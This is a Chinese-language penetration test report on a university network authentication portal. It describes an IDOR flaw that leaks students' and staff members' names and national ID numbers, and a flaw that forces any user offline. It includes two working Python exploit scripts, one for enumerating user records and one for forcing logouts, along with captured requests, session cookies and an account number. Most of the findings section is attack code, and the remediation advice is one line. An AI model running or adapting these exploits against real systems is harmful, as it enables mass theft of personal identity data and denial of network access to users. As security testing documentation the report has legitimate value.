目录
一、概述
1.1 测试目的
1.2 测试范围
1.3 数据来源
二、详细测试结果
2.1 涉及到的软件工具
2.2 测试步骤
2.2.1 预扫描
2.2.2 工具扫描
2.2.3 人工检测
2.3 测试结果
2.3.1 漏洞验证
2.3.2 修改建议
一、概述
1.1 测试目的
通过实施针对性的渗透测试,发现目标认证网站系统的安全漏洞,保障业务系统安全运行。
1.2 测试范围
系统名称
目标认证服务器
测试地址
10.*.*.111
测试时间
2018-7-22~2018-7-24
说明
本次测试的源访问 ip 对应上网账号可能为 “1522140217”
1.3 数据来源
通过漏洞扫描和手动分析获取相关数据。
二、详细测试结果
2.1 涉及到的软件工具
工具名
用途
Burp Suite
网络抓包工具,对网络的数据包传输进行抓取。
Python Exploit
自行编写的漏洞利用脚本
FireFox
火狐浏览器
2.2 测试步骤
2.2.1 预扫描
通过端口扫描或主机查看,确定主机所开放的服务。来检查是否有非正常的服务程序在运行。
2.2.2 工具扫描
通过 Kali 下的 Nmap 进行开放端口扫描
2.2.3 人工检测
除去工具扫描外,还要使用人工手动检测的手段,来发现一些逻辑 WEB 漏洞
2.3 测试结果
本次测试共发现 2 个漏洞
1. 大量用户数据的泄露,主要泄露的信息为:学号(或工号),姓名,身份证号码等,因其为 WEB 逻辑漏洞,因此 WAF 未作出拦截相应
2. 引发某位用户被恶意下线,但是需要预先掌握目标用户的 ip 地址,用户名,以及 nasip 的值,nasip 可在参数值可在认证页面获取,我们登录之后再下线可获得一个用户的数据包,然后进行 ASCII64 位转码,接着编辑里面的值,然后重新 post 提交即可
2.3.1 漏洞验证
2.3.1.1 web逻辑漏洞
首先,登录自助服务平台 10.*.*.106:8080/selfservice,使自己可以对漏洞页面的访问具有合法性以及一定权限
接着,访问网址:
http://10.*.*.106:8080/selfservice/module/userself/web/regpassuserinfo_update.jsf?userIdFor Su=1522140217
可在此处看见自己的用户名, 名字, 以及身份证号码, 然后将链接后面的 “userIdForSu=1522140217”参数,换成任意的学号或工号进行测试
http://10.*.*.106:8080/selfservice/module/userself/web/regpassuserinfo_update.jsf?userIdFor Su=1622610086
接着测试任意的 6 位的教职工工号
http://10.*.*.106:8080/selfservice/module/userself/web/regpassuserinfo_update.jsf?userIdFor Su=111111
Exploit(python)
# coding=utf-8
import urllib
import urllib2
s_url =
"http://10.*.*.106:8080/selfservice/module/userself/web/regpassuserinfo_update.jsf?userIdForSu=" print("请输入学号或工号:")
username=str(raw_input())
url=s_url+username
req = urllib2.Request(url)
print req
res_data = urllib2.urlopen(req)
res = res_data.read()
print res
由于报告出手紧急,未完善,因此只能获取到 HTML 编码未做格式化输出
2.3.1.2 用户下线漏洞
打开 burp suit 抓取自己下线的包如下所示
POST /eportal/InterFace.do?method=logout HTTP/1.1 Host: 10.*.*.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Referer:
http://10.*.*.111/eportal/success.jsp?userIndex=3537366362313463646331383031333234623 2613563303164383431356664655f31302e3135332e32382e3135315f31353232313430323137& keepaliveInterval=0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 124
Cookie: EPORTAL_COOKIE_OPERATORPWD=; EPORTAL_COOKIE_USERNAME=;
EPORTAL_COOKIE_PASSWORD=; EPORTAL_COOKIE_SERVER=; EPORTAL_COOKIE_SERVER_NAME=; EPORTAL_AUTO_LAND=; EPORTAL_USER_GROUP=15%E7%BD%91%E7%BB%9C2; JSESSIONID=11891932A886EF7FDCDE20B99A76AF00
Connection: close
userIndex=35373663623134636463313830313332346232613563303164383431356664655f313 02e3135332e32382e3135315f31353232313430323137
在 /eportal/InterFace.do?method=logout 页面,获取到了如上数据,然后,通过观察得知, “userIndex”参数是 ascii 16 进制编码所得,ASCII 解码得如下内容 576cb14cdc1801324b2a5c01d8415fde_10.153.28.151_1522140217
接着,得知,此参数为以“_”为 keyword 进行分隔参数的一串代码,所以,可以得知,参数1为“nasip”,参数 2 为目标 ip 地址,参数 3 为目标用户名,接着自行构造参数之后,将这串参数重新转换为 16 进制的 ascii 码之后重新传到服务器,即可达到用户下线的攻击效果
参数 nasip 可在网页认证端中抓取,如下所示:
http://10.*.*.111/eportal/index.jsp?wlanuserip=6e39faa69472f0f4f6c29f4ed8e4d5e7&wlanacn ame=a076c8748f0b84e1a8d4b18b0b1ef48a&ssid=&nasip=576cb14cdc1801324b2a5c01d8415fd e&snmpagentip=&mac=523d3cf98f2cb9d9958de6d40c86f48c&t=wireless-v2&url=643cb8a86a71 7540813738e83687ff99c00ddcca8544b8401eea3a1241d76a33e4d246c607c1a93a&apmac=&nas id=a076c8748f0b84e1a8d4b18b0b1ef48a&vid=ef923eb8189b7990&port=23700528db2c0b39&n asportid=75cbe9ea29adbc9e931650cc64204ad74096a127d41e2c37b2a49befae124644a5b0702 3a49f1124
Exploit(python)
# coding=utf-8
import urllib
import httplib
print '--------------------***UserForceDownLineExploit-----------------------------------'
print '------------This exploit you should give me nassip servier ip and UserName-----------'
print '-------------nasip is in the URL of the authentication server------------------------'
print '------------------------Exploit by Reverse Scale--------------------------------------'
print '-----***************************************************************************- -----'
hostname=raw_input('请输入自助系统服务器域名或 ip 地址(不需要加"http://"):') nasip=raw_input('请输入 nasip:')
ip=raw_input('请输入 ip 地址:')
username=raw_input('请输入其对应的用户名:')
inurl = 'http://'+hostname+'/eportal/InterFace.do?method=logout' # type: str
userindex = nasip + '_' + ip + '_' + username
userindexascii=''
for i in range(0,userindex.__len__(),1):
userindexascii=userindexascii+str(hex(ord(userindex[i])))[2:]
print('UserIndex='+userindexascii)
referurl
='http://'+hostname+'/eportal/success.jsp?userIndex='+userindexascii+'&keepaliveInterval=0' header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': '*/*',
'Accept-Language': 'zh-CN',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Referer': referurl
}
data={'userIndex':userindexascii}
encodedata=urllib.urlencode(data)
conn = httplib.HTTPConnection(hostname)
conn.request(method="POST",url=inurl,body=encodedata,headers=header) response = conn.getresponse()
res= response.read()
print 'Response:'+res
2.3.1.2 源代码泄露
在服务器内发现一个 JS 文件,存在一定的“攻击价值”
URL:http://10.*.*.111:8080/eportal/interface/index_files/js/AuthInterFace.js
var AuthInterFace = (function() {
var ePortalUrl = "";
function post(url, data,callback) {
var thePost = (window.XMLHttpRequest) ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
thePost.open("POST", url, true);
thePost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
thePost.onreadystatechange=function() {
if (thePost.readyState == 4 && thePost.status == 200) {
callback(eval("("+thePost.responseText+")"));
}
}
thePost.send(data);
}
return {
init:function(url){
ePortalUrl=url + "InterFace.do?method=";
},
login : function(userId, password, service, queryString,operatorPwd,callback) {
/* 1.登录 */
var content = "userId=" + userId + "&password=" + password + "&service=" + service + "&queryString=" + queryString+"&operatorPwd="+operatorPwd;
post(ePortalUrl + "login&time="+new Date(), content, callback);
},
keepalive : function(userIndex,callback) {
/* 2.保活 */
var content = "userIndex=" + userIndex;
post(ePortalUrl + "keepalive", content,callback);
},
getOnlineUserInfo : function(userIndex,callback) {
/* 3.获取在线用户信息 */
var content = "userIndex=" + userIndex;
post(ePortalUrl + "getOnlineUserInfo", content,callback);
},
freshOnlineUserInfo : function(userIndex,callback) {
var content = "userIndex=" + userIndex;
post(ePortalUrl + "freshOnlineUserInfo", content,callback);
},
logout : function(userIndex,callback) {
/* 4.下线 */
var content = "userIndex=" + userIndex; //漏洞 2.3.1.1 所使用的代码
post(ePortalUrl + "logout", content,callback);
},
loginWithQrCode : function(qrCode, queryString,callback) {
/* 5.二维码认证 */
var content = "qrCode=" + qrCode + "&queryString=" + queryString;
post(ePortalUrl + "loginWithQrCode", content,callback);
},
visitorReg : function(phoneNum, authCode,callback) {
/* 6.访客注册 */
var content = "phoneNum=" + phoneNum + "&authCode=" + authCode;
post(ePortalUrl + "visitorReg", content,callback);
},
pageInfo : function(queryString,callback) {
/* 7.获取页面显示信息 */
var content = "queryString=" + queryString;
post(ePortalUrl + "pageInfo", content,callback);
},
registerMac : function(mac, userIndex,callback) {
/* 8.注册 MAC 快速认证 */
var content = "mac=" + mac + "&userIndex=" + userIndex;
post(ePortalUrl + "registerMac", content,callback);
},
cancelMac : function(mac, userIndex,callback) {
/* 9.取消 MAC 快速认证 */
var content = "mac=" + mac + "&userIndex=" + userIndex;
post(ePortalUrl + "cancelMac", content,callback);
},
/*10.使用用户名密码下线所有用户*/
logoutByUserIdAndPass:function (userId,pass,callback){
var content = "userId=" + userId + "&pass=" + pass;
post(ePortalUrl + "logoutByUserIdAndPass", content,callback);
},
/*11.切换服务*/
switchService:function (userIndex,serviceName,callback){
var content = "userIndex=" + userIndex + "&serviceName=" + serviceName;
post(ePortalUrl + "switchService", content,callback);
},
getServices:function(callback){
post(ePortalUrl+"getServices",'',callback);
},
registerNetWorkProtocol:function(userId,callback){
var content = "userId=" + userId;
post(ePortalUrl+"registerNetWorkProtocol",content,callback);
},
validateUserName:function(userId,userName,callback){
var content = "userId=" + userId+"&userName="+userName;
post(ePortalUrl+"validateUserName",content,callback);
},
modifyPass:function(userId,pass,callback){
var content = "userId=" + userId+"&pass="+pass;
post(ePortalUrl+"modifyPass",content,callback);
}
};
})();
2.3.2 修改建议
用户下线处 API 需验证 token,或使用其它的用户数据可靠性验证,并且将 userindex 参数值进行一定的加密或混淆